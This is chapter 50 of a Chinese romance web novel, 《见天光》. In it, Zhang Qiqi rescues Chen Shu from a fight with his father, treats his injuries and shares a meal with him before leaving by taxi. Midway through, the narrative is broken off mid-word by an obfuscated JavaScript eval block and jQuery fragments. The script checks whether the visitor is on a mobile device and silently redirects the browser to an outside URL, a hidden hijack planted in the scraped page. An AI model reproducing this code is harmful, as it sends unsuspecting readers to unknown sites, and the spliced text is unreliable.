50. 第 50 章

作品:《见天光

    -


    眼前的世界熙熙攘攘,耳边吵吵嚷嚷着,喉咙里的血腥味翻涌,陈恕脑海里名为“理智”的那条线已经彻底崩断了。


    然而对面那两个拉架的中年男人微微侧身,露出少女“恶狠狠”的面容时,陈恕脑子瞬间一片空白。


    翻涌着的仇恨、愤怒突然原地消散,他心中蔓延起不真实的荒谬感。


    期期?


    期期怎么会在这里!


    忙着下黑手的张期期似有所觉,她知晓大家应该发现她了,少女抬眸与满脸不可置信的少年对上眼,下一刻她绽放绚烂的笑容。


    少女眼底带着无辜的笑意,仿佛那个一拳一拳揍人的不是她一样。


    陈岩终于反应过来,他趁着身旁拉架的中年男人愣神的瞬间,立刻挣脱他们,反身伸出手将拽住张期期。


    陈恕瞳孔一缩,“期期!”


    张期期头一低,像只小狮子一样狠狠一撞,就把底盘不稳的陈岩撞到在地。


    少年挣脱拦着他的中年男人,他向着她跑过来,张期期伸手拉住他往拥挤的人群而去,围观群众自发地让开一条道路供他们离开。


    “快拦住他们!快拦住他们!这个死丫头,这事没完!”


    “不孝子,不孝子啊,我陈岩没这个儿子!”


    “……”


    身后陈岩夫妻二人的咒骂声不绝于耳,但已经跑远的张期期、陈恕两人都没有听到了。


    上瑶村的村民跟看笑话一样看着陈岩夫妻二人,有人打趣道:“人家也不认你这个爹啊!还没这个儿子……切~”


    “话说你们夫妻俩也是搞笑,连半大小子和小丫头都打不过!”


    陈岩夫妻:……


    ……你管那一米八多的叫半大小子?管那个死秤砣一样的怪力少女叫小丫头?


    围观的和事佬打哈哈道,“别说了别说了,都是同村人,过来帮个手扶一下他们夫妻俩吧。”


    *


    白昼与黑夜交替之际,少年骑着自行车载着身后的少女,傍晚的凉风从他们的耳边呼啸而过,他们骑过一盏又一盏昏黄的路灯,身影被拉得绵长,无限交叠。


    远离了安置房小区,陈恕终于刹车将自行车停下。


    夏日里遮天蔽日的大树在秋季已经掉光了所有的叶子,只剩下硕大的树干和光秃秃的枝桠狰狞着向天生长着。


    枯黄的叶子铺陈在地面上,张期期跳下自行车后座时,一踩就烁烁响着。


    路灯的光影穿过枝桠跳跃在少年的脸上,张期期仰着头看向他的眼底,那是毫不掩饰的狼狈和自弃。


    “陈恕……”她走进一步,低声唤道。


    陈恕猛然后退,少女伸出手想要揪住他的衣摆,却落了空。


    他疏忽间转身走到硕大的树干前,将头抵在粗糙的树干上,他背对着她,他不知道以何种面目去面对她……


    少年仿佛恨不得融进树干里一样,谁也看不见他。


    张期期望过去,树下他清瘦的身影似要被黑暗吞噬,她抬头望了一眼柔和的光源,随后一脚一脚坚定地朝他走过去。


    烁烁声不绝于耳,陈恕的身体微微颤抖。


    少女站在他身后伸手环抱住他,脸颊贴在他的后背上,她低声缓缓唤道,“陈恕……”


    少年浑身僵硬,那一声“陈恕”似直击灵魂,带着强横的力度包裹住他崎岖不堪的灵魂。他似从中汲取到了力量。


    陈恕缓缓转身垂头看她,她再次环抱着他,仰头与他对视着。


    半响,她的眼神从怜惜转变为理直气壮,好像在说,我想抱就抱,怎么了!


    陈恕突然笑了一下,张期期后退一步,拉着他站在光晕柔和的路灯下,“那里黑漆漆的,我都快看不清你的脸了。”


    暖黄色的路灯下,少年脸上的擦伤非常明显,张期期伸了伸手却又不敢碰他。她缩回手,看了看四周,这里是学校附近。


    “你是住在这附近吗?”张期期低声问道。


    陈恕点了点头,“嗯。”


    “要不先回你家,你家里有碘酒、创可贴吗?”


    陈恕闻言,盯着她摇了摇头。


    “没有碘酒、创可贴这些吗?那得去药店买一下,你这个伤口还是处理一下比较好。”张期期一边说着,一边环顾四周,她在想着这附近哪里有药店。


    陈恕:“不去我家。”


    他不可能带她去他的出租屋,那里属于城中村,人多眼杂的,又是下瑶村的地儿,村里最会兴起流言蜚语,八卦闲谈。污言秽语绝不该和期期扯上任何一点关系。


    张期期顿了下,“好。那我们先去药店。”


    陈恕:“好。”


    从药店里买了碘酒、创可贴和棉签之后,张期期拉着陈恕坐在药店门口那一排的椅子上,她用棉签沾了沾碘酒,轻轻地擦拭着他脸上的伤口,“可能会有点刺痛,我给你吹一吹。”


    她一边小心翼翼地擦拭着伤口,一边轻轻地吹着伤口。


    细密的痒意爬上他的心头,他脸上的擦伤只是他千疮百孔的身体上微不足道的伤痕而已,陈恕攥紧了指尖……被人珍视的感觉是如此令人着迷又惶恐。


    他蓦然抓住张期期的手腕,抬眸紧紧地看着她,恍如在深海之中抓住了唯一的浮木。


    张期期疑惑:“怎么?太疼了?”


    陈恕顿了顿,收回手,他抿了抿唇,“你怎么会在那儿?”……你都看到了?


    他问着,张期期这才想起来她是准备问问陈恕为什么躲她的,但见他现在这副狼狈的样子,她心中的气也散了几分。


    张期期诶了一声,也跟着坐下来,她将沾了碘酒的棉签放下,开始撕着创可贴,阴阳怪气地道,“哎呀,有人呐连续躲了我一周,我可不得来问问到底怎么了,这给人判罪啊,也得有罪名不是!”


    撕开创可贴,她用力地贴在他脸上,本以为会听到一声“嘶……”,没想到反而听到他低声说,“对不起”。


    张期期顿了顿,心中的气顿时消散,想起她刚刚那么用力给他贴创可贴,便道:“你不痛吗?”


    “不痛。”


    陈恕笑了笑,这对以前的他来说是家常便饭,甚至都不如那些曾经落在身上的疼痛。


    张期期嘟囔道:“好吧,既然你道歉了,那我选择原谅你了,但你以后可不能再这样子了。”


    陈恕点头,“好。”


    他再也不会看她那些奇奇怪怪的书了,梦境无法受他控制,他只要不看那些书肯定不会再做乱七八糟的梦了。


    即便只是梦,但陈恕觉得那也是对她的冒犯。


    -


    张期期将东西收好放进袋子里,而用过的棉签、创可贴的包装袋则被她扔到一旁的垃圾桶里。


    她看着脸上贴着“多啦A梦”创可贴的陈恕,突然笑了出来,他长相精致好看,但总是一副冷冷淡淡的神色,可现在“多啦A梦”的创可贴破坏了他身上的冷清感、柔和了他尖锐的眼神。


    现在的他啊……像一只可爱又别捏的小狗狗。


    陈恕不解地望着她,不明白它为什么突然笑了……但他也跟着笑了。


    片刻后,张期期突然问:“陈恕……你饿不饿?我饿了,我还没吃晚饭。”


    陈恕自然也还没有吃,“那我们现在去吃?”


    “好。”


    因为是周五放学,一中附近的餐饮一条街难以避免的冷清下来,有些店甚至早早关了门,街上也只有零零散散的一些学生,他们大多是一中高三的住校生。


    馄炖店是仅剩的开着的店铺之一,店里还没有客人,饿得不行的张期期拉着陈恕直奔店里。


    “老板,两份鲜肉馄饨。”张期期喊道。


    店老板:“好咧”。


    陈恕将椅子拉出,让期期坐下,这才又拉了一张椅子自己坐下。


    几分钟后,店老板从后厨出来,他端着托盘来到他们的桌前,托盘上放了两碗馄饨,老板将馄饨放在张期期、陈恕面前,“来了来了……小心烫啊!”


    “好,谢谢老板。”张期期道。


    店老板收起托盘,临走前看了一眼陈恕的脸,又回到了后厨。


    张期期心急火燎地舀起一口馄饨吹了吹,放入嘴里,片刻后她顿了顿,看向陈恕。


    陈恕:?


    “怎么了?不好吃吗?”


    张期期咽下去,笑着道:“好吃,就是烫了点。”


    陈恕点点头,“烫就多吹一会儿。”


    说着,他也舀起一口放入嘴里嚼了两下,他看向张期期……


    张期期噗呲一声笑出来,“好吃吗?”


    陈恕:……难以形容的味道。


    他无奈地摇了摇头,“老板肉放得太少了,而且馄饨皮太厚了。”


    张期期转身看了一眼后厨,小声道:“难怪老板要躲在后厨,难怪这家店没什么人,他这个馄饨皮真的好奇怪啊,厚就算了,外面口感硬,里面又黏糊糊的黏嘴巴。我都怀疑是不是没煮熟了。”


    陈恕起身,“换一家吧。”


    张期期将他拉着坐下来,“算了,别的店都好多人,还要等。凑合吃吧,下次别来这家店就是了。”


    陈恕抿了抿唇,“嗯。”


    店内冷冷清清的,就张期期和陈恕两人,后厨传来手机小视频的声音,张期期心里吐槽了一句,做得这么难吃,店里生意这么差,还有心情刷手机小视频!老板心态真是好。


    过了最开始那火燎般的饥饿感后,张期期越吃越慢,她用勺子随意地舀起汤底喝着,余光扫向一口一个馄饨的陈恕。


    ……吃得这么香,看不出来他觉得难吃啊!


    七八分钟后,陈恕吃光了碗里的馄饨,连汤都喝了一大半,只剩下个汤底之后,他才放下了勺子。


    见状,张期期也放下勺子,“我也吃完了……”


    陈恕看了一眼她碗里还剩下一大半的馄饨一眼,他抿了抿唇。


    张期期心中警铃作响,不会吧……他不会要让我吃完吧?可是真的……好难吃啊!


    陈恕小声道:“下次我们真不来这家店了,我也吃得蛮……难的!”


    张期期蓦然笑了出来,“那我们快走吧。”


    陈恕付了钱之后,两人从馄


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13166084|131569||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    饨店里走出来,此时夜幕上浓云低垂,稀疏的星星闪烁着微弱的光芒。


    餐饮一条街走出来后就是公交站,张期期打算在站台处打的士回家,她将拎着的袋子递给陈恕,“你的伤口暂时不要碰到水,大概过几天就会好了……”


    陈恕接过,将其挂在自行车把手处,他余光扫了她一眼,点头“嗯”。


    “陈恕……”张期期突然开口。


    陈恕浑身紧绷,有一种终于来了的解脱感,“……嗯,怎么了?”


    张期期笑了笑,“物理竞赛准备得怎么样了?什么时候开始考试啊?在哪里考啊?”


    一连三问,陈恕愣住了……她原来想说的竟然是这个吗?


    他一时间没有反应过来,好半响之后,陈恕才道:“这个月的25号是联赛,决赛在31号,本月最后一天。联赛的地点应该在省里的金中,决赛估计……首都吧。”


    张期期边听边点头,“你怎么没说你准备得怎么样了啊?”


    陈恕抿了抿唇,神色坦然,“我觉得没希望。”


    “啊?怎么会?你可是我们高二年级的第一啊!人家都喊你学神来着……”张期期惊讶道。


    陈恕笑了笑,他从来就不是什么那种天赋型的人,要说真有天赋的,他身旁的张期期才是。单论理科,她能力甚至在他之上,而她被英语拉了后腿,重点一班又是一分就能拉开好几个名次的班级,所以张期期上次的考试才会排在全年级十五。


    “联赛除了理论之外,还有实验部分,实验部分是我的弱项。这次联赛要选出省一、二、三名,都是优秀的对手,所以一分就能拉开差距了。”


    陈恕推测道,“实验部分,我估计会落下十分的差距。所以……这一次对我来说,只能是试试水。我的目标在下一次。”


    “那也非常棒了!”张期期笑着道。


    陈恕若无似无地点点头,他们快走到了餐饮一条街的尽头,主街道人声喧闹,偶有汽车飞驰而过。


    “今天……”陈恕主动说起。


    “今天的事你不想说,我就不问,更不会好奇揣测!还有我会保密的!”少女一下子旋身站到他的身前,伸手按住他的自行车迫使他停下来,她打断他的话,仰着头对着他说着,就差举手起誓了。


    她这么“表忠心”,陈恕轻轻地笑了……


    “不是。我想说的不是这个,我想说的是,下次……不、以后,以后不要再因为我把你自己置身于危险之中。”


    不值得的,期期,你不知道陈岩的双手伸向你时,我有多惊恐。


    张期期闻言,不满地哼了一声,“那不行,叫我看着你挨打,那我还是人吗?咱们还是……还是朋友吗?”


    她理直气壮地瞪向他,“而且我力气那么大,一般人还真打不过我!一力降十会,你听过没?”


    陈恕满眼无奈,“听过。”


    他妥协了,“既然这样,那我以后也不会再做危险的事,这样你就不用救我了……行吗?”


    张期期眉眼一扬,比了个“OK!”


    公交车站台处颇为热闹,高三年级的住校生拎着大包小包的挤在站台处,他们的脚下也堆积着大大小小的行李箱。


    学生们三三两两地讨论着各市模拟卷子的难易程度。


    当张期期、陈恕走过来时,高三学生们时不时地瞥他们两人一眼,唔……准确来说,应该是看陈恕。


    “哎……看那边那个男生,是不是就是我们这一届的校草校花离校之后,贴吧新选出来的校草,叫什么名字来着,陈、陈恕,是吧?”


    “好像是吧!不过……你居然有时间看贴吧,看来是试卷不够你做的啊?”


    “少来……我试卷做得人都麻木了,逛贴吧是我少数娱乐的项目了。”


    “哈哈哈……我懂!任何与高考无关的事情,多花点精力都会有负罪感是吧?哈哈哈……”


    几个高三生难得地笑闹成一团,说着与高考、与试卷、与分数无关的事。


    ……


    混迹在他们之中的陈恕、期期一脸尴尬,等他们又继续说回学习上的事情后,两人才默契地松了一口气。


    张期期:“你说,等我们高三的时候也会像他们这样子吗?”


    陈恕沉默片刻,摇摇头,“我也不知道……”


    话刚说完,人群一阵骚动,张期期、陈恕循着大家的视线望过去,不远处来了一趟公交车,公交车的旁边跟着一辆显示空车的出租车。


    张期期招手,出租车、公交车先后停了下来。


    高三的学生们一拥而上地走过张期期的身边,张期期道:“陈恕,我走了,拜拜……”


    陈恕双手扶着自行车,“嗯,拜拜。”


    他看着她上了出租车,片刻后,车窗缓缓降下来,隔着人海,张期期喊道:“陈恕……我平时不那样子的。”


    那样子……陈恕笑了笑,他知道,她说,她平时不是打人时的那个样子。


    路灯影影绰绰下,他轻声道:“期期……我知道。”


    发动机轰鸣,出租车驶过,张期期没听见他的回答。